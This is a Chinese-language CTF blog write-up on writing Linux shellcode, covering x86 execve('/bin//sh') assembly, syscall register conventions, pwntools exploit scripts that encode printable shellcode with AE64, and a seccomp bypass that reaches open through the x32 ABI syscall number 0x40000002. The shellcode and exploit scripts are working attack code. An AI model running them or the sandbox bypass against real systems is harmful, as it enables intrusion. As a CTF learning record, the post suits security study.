Pwn Shellcode and syscall

注意
本文最后更新于 2022-06-02,文中内容可能已过时。

打了 miniL 后才知道了 shellcode 咋写, 这次国赛又碰上了, 就写一下 shellcode 吧.

shellcode 指的是一段被执行了之后能获得 shell 的 机器指令. 既然是机器指令, 那么人写的时候应该是用汇编进行.

比如如下指令:

1
2
3
4
5
6
7
8
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 11
int 0x80

这是 x86 架构下 32 位机器的 execve("/bin//sh", NULL, NULL) 的一种汇编实现. 如果程序运行这段指令, 那么我们就可以获得 shell.

然后我们就想方设法, 把这段汇编对应的机器代码二进制数据输入到程序的可执行部分, 再想方设法让程序执行这段代码.

一些简单的题, 会把输入的数据当成函数来执行(在 C 语言中大概是字符串转换成函数指针, 汇编就直接 call), 难一点的题可能会通过迁移等手段, 构造任意执行.

如何编写 shellcode 获得 shell, 或者做其他的有趣的事情呢? 在 C 语言中, 我们一般是调用库函数, 而汇编在有库的情况下, 也可以直接 call. 但是, 库函数也需要通过 系统调用 来给操作系统发送中断, 然后操作系统执行一些指令. 这一系列的接口称为 ABIApplication Binary Interface. 实际上, 我们在写 shellcode 的时候, 一般直接使用操作系统提供的 ABI.

ABI 包含了一系列的系统调用和这些系统调用的使用方法. i386 下, 使用 int 0x80 来进行中断, 发送系统调用. 其中, eax 中存放的是系统调用号, 同时当操作系统将执行流返回给程序后, eax 也存放了这个系统调用的返回值. 比如, execve 的系统调用号是 11, 那么我要调用 execve, 就需要在 int 0x80 时确保 eax 内的值为 11.

那么, 系统调用如何传参呢? 答案是使用寄存器. 在 i386 下, 如果参数个数不多于 6 个, 那么将参数 依次 存放在 ebx, ecx, edx, esi, edi, ebp 中. 当参数个数大于 6 个时, 将参数 依次 存放在一块连续的内存中, 然后 ebx 指向这块内存的起始地址. 比如说, 执行 execve("/bin/sh", NULL, NULL), 那么就需要 ebx 存放 “/bin/sh” 字符串的地址, ecx 存放 0, edx 存放 0.

64 位的差不太多, 区别在于系统调用中断使用 syscall 而不是 int 0x80, 6 个参数以内使用 rdi, rsi, rdx, r10, r8, r9 进行传参.

所有系统调用号 (包括其他架构的) 都可以在源码中查到, 位置在 /usr/src/linux-headers-$version-generic/arch/$arch/include/generated/uapi/asm/ 下, 以 unistd 开头的头文件中查到. 如我机器里的 /usr/src/linux-headers-5.15.0-33-generic/arch/x86/include/generated/uapi/asm/ 下有 unistd_32.h, unistd_64.h, unistd_x32.h.

技巧
这个 unistd_x32.h 比较好玩, 是 x32 ABI 的系统调用. 一会说.

查看系统调用的用法可以使用 man 命令, 如查看 execve:

1
man 2 execve
技巧

man 指令后跟 2 表示查看系统调用函数.

man 的第一个参数有如下:

  1. commands
  2. system calls
  3. library calls
  4. special files
  5. file formats and convertions
  6. games for linux
  7. macro packages and conventions
  8. system management commands
  9. others

如果不指定, 则会从 1 开始找. 比如 man open 就找到了 xdg-open 的 open 命令而不是系统调用.

至此, 应该就学会了如何使用 ABI 编写 shellcode. 比如编写 execve("/bin/sh", NULL, NULL) 系统调用:

1
2
3
4
5
6
7
mov eax, 11
push 0x0068732f
push 0x6e69622f
mov ebx, esp
mov ecx, 0
mov edx, 0
int 0x80

这里就是很简单, 设置 eax 为 11, 即 execve 的系统调用号. ebx 是在栈上的字符串 “/bin/sh” 的指针, ecx 和 edx 都是 0 (NULL), 然后 int 0x80 发送中断.

但是, 很多时候并不能这样简单地写, 可能由于程序, 或者操作系统的一些机制, 有一些字节是无法使用的, 如 0. 或者必须是可见字符. 不可用的字符一般称为 badchar, 要想办法绕过.

shell-storm.org 中收录了一些 shellcode. 但是很多题其实是要面向题目自己写 shellcode 的. 不可见字符有大佬写了脚本一键生成, 比如 alpha3AE64. alpha3 没有用起来, 可能是 python 2 的原因? AE64 只能针对 x86-64 的, 32 位的生成不了.

Pwn ret2shellcode in x86 - b0verfl0w

主要说一下这里使用到的 shellcode:

1
2
3
4
5
6
7
8
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 11
int 0x80

这个是从 shell-storm.org 中找的一个不含 0 的, 最短的 execve("/bin//sh", NULL). 这里可以看到, 跑完以后 eax 为 0, ebx 为指向栈上的 “/bin//sh” 的指针. ecx 是 0. 但是没有看到 edx 的值. 理论上 edx 也应该是 0 , 但是 execve 的第三个参数是 env[], 而环境变量对我们执行 /bin/sh 几乎没有影响 (待验证 / 问问), 所以随便是啥都能行, 也就是说可以不需要管 edx.

警告

如果使用 man 2 execve, 可以看到在 linux 下, 将第二个参数 argv[] 设为 NULL (本来并不应该是这个) 是可行的. 而其他 UNIX 系统下不一定可行.

On Linux, argv and envp can be specified as NULL. In both cases, this has the same effect as specifying the argument as a pointer to a list containing a single null pointer. Do not take advantage of this non‐standard and nonportable misfeature! On many other UNIX systems, specifying argv as NULL will result in an error (EFAULT). Some other UNIX systems treat the envp==NULL case the same as Linux.

https://ctf.ichunqiu.com/2022dxs

分析部分略, 大概就一通操作, 将输入的代码 (shellcode) 执行.

这里的 shellcode 必须是可打印字符或者空白字符, 这对 shellcode 的编写要求很高. 所幸有师傅写了一键脚本将没有限制的 shellcode 转换成只含有可打印字符的 shellcode (准确一点, 是字母字符).

本题用到了 AE64. 用法很简单, README 里也写得很清楚:

1
2
3
shellcode = asm(shellcraft.sh())
reg = 'rax'
enc_shellcoe = AE64().encode(shellcode, reg)

其中 reg 是汇编中, call reg 的寄存器. 需要查看程序的汇编代码, 找到 call 的那条指令, 看 call 的寄存器是啥 (原理暂时不了解, 过段时间空下来看看这机器码到底是啥就知道了, 先咕)

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
from ae64 import AE64

context.arch = 'amd64'

io = process('./login')

shellcode = AE64().encode(asm(shellcraft.sh()), 'rdx')

payload_ro0t = b'msg:ro0tx\nopt:1\n\n'
payload_sc = b'msg:' + shellcode + b'x\nopt:2\n'

io.sendline(payload_ro0t)
io.sendline(payload_sc)
io.interactive()

2022 MiniL CTF 部分 WP - Shellcode

这里说一下 x32 ABI 的问题. 由于沙箱机制禁用了几乎所有的系统调用, 但是比 0x40000000 大的系统调用号还是可以使用的. (没有改的那一版题目).

查看源码 /usr/src/linux-headers-5.15.0-33-generic/arch/x86/include/uapi/asm/unistd.h

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _UAPI_ASM_X86_UNISTD_H
#define _UAPI_ASM_X86_UNISTD_H

/*
 * x32 syscall flag bit.  Some user programs expect syscall NR macros
 * and __X32_SYSCALL_BIT to have type int, even though syscall numbers
 * are, for practical purposes, unsigned long.
 *
 * Fortunately, expressions like (nr & ~__X32_SYSCALL_BIT) do the right
 * thing regardless.
 */
#define __X32_SYSCALL_BIT       0x40000000

#ifndef __KERNEL__
# ifdef __i386__
#  include <asm/unistd_32.h>
# elif defined(__ILP32__)
#  include <asm/unistd_x32.h>
# else
#  include <asm/unistd_64.h>
# endif
#endif

#endif /* _UAPI_ASM_X86_UNISTD_H */

能够找到有关 x32 的描述.

x32 架构比较神奇, 没有深入了解过, 大概 64 位的机器, 但是数据类型是 ILP32 的 (比如指针还是 32 位的), 不懂. 只要系统兼容 x32, 那么对应 x32 的系统调用也是可以执行的.

查看源码 /usr/src/linux-headers-5.15.0-33-generic/arch/x86/include/generated/uapi/asm/unistd_x32.h (只展示部分内容):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#ifndef _UAPI_ASM_UNISTD_X32_H
#define _UAPI_ASM_UNISTD_X32_H

#define __NR_read (__X32_SYSCALL_BIT + 0)
#define __NR_write (__X32_SYSCALL_BIT + 1)
#define __NR_open (__X32_SYSCALL_BIT + 2)
#define __NR_close (__X32_SYSCALL_BIT + 3)
#define __NR_stat (__X32_SYSCALL_BIT + 4)
#define __NR_fstat (__X32_SYSCALL_BIT + 5)
#define __NR_lstat (__X32_SYSCALL_BIT + 6)
#define __NR_poll (__X32_SYSCALL_BIT + 7)
#define __NR_lseek (__X32_SYSCALL_BIT + 8)
#define __NR_mmap (__X32_SYSCALL_BIT + 9)

// ...

#ifdef __KERNEL__
#define __NR_syscalls 548
#endif

#endif /* _UAPI_ASM_UNISTD_X32_H */

可以发现, 任何一个 x32 ABI 的系统调用号都是不小于 0x40000000 的, 也就是说, 我们可以直接用.

而且仔细观察, 可以发现系统调用号 几乎 和 x64 一样, 只是多了一个标志位. 但是, 也有一些不一样的地方, 比如 x64 下的 execve 是 59, 而 x32 的没有这个号, execve 的系统调用号是 520. 这是由于 x32 的指针等类型的大小与 x64 不同, 导致某些结构体的结构不同, 而少部分系统调用 (如 execve, readv 等) 必须使用这些结构体, 所以这些系统调用就要分开来.

技巧
使用 man 2 syscall 查看更多关于系统调用的内容, 其中也可以看到有关 x32 的叙述.

这里由于还是在 x64 下跑的, 只是兼容了 x32, 使得相同的系统调用可以通过不同的系统调用号来传递. 于是不能直接使用 x32 下的 execve (0x400000 + 520). 换句话说, x32 中和 x64 只差一位标志位的系统调用号, 是可以利用的.

这题的 orw 缺 open, 而 x32 下的 open (0x40000002) 和 x64 的 (2) 只差一个标志位, 所以可以传递 0x40000002 系统调用号来实现 open.

exp & shellcode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

shellcode = asm('''
mov edi, 0x40404000
mov esi, 0x100
mov edx, 0x7
mov ecx, 0x22
mov r8d, 0xffffffff
mov r9d, 0
mov eax, 0x09
syscall

mov rbx, 0x000067616c662f2e
push rbx
mov rdi, rsp
xor rsi, rsi
mov rax, 0x40000002
syscall

mov rdi, rax;
mov esi, 0x40404000;
xor rdx, rdx
add dl, 0x40
xor rax, rax;
syscall;

mov di, 1
xor rax, rax
xor rax, 1
syscall
''', arch='amd64', os='linux')

io = process('./shellcode')
io.sendline(shellcode)
io.interactive()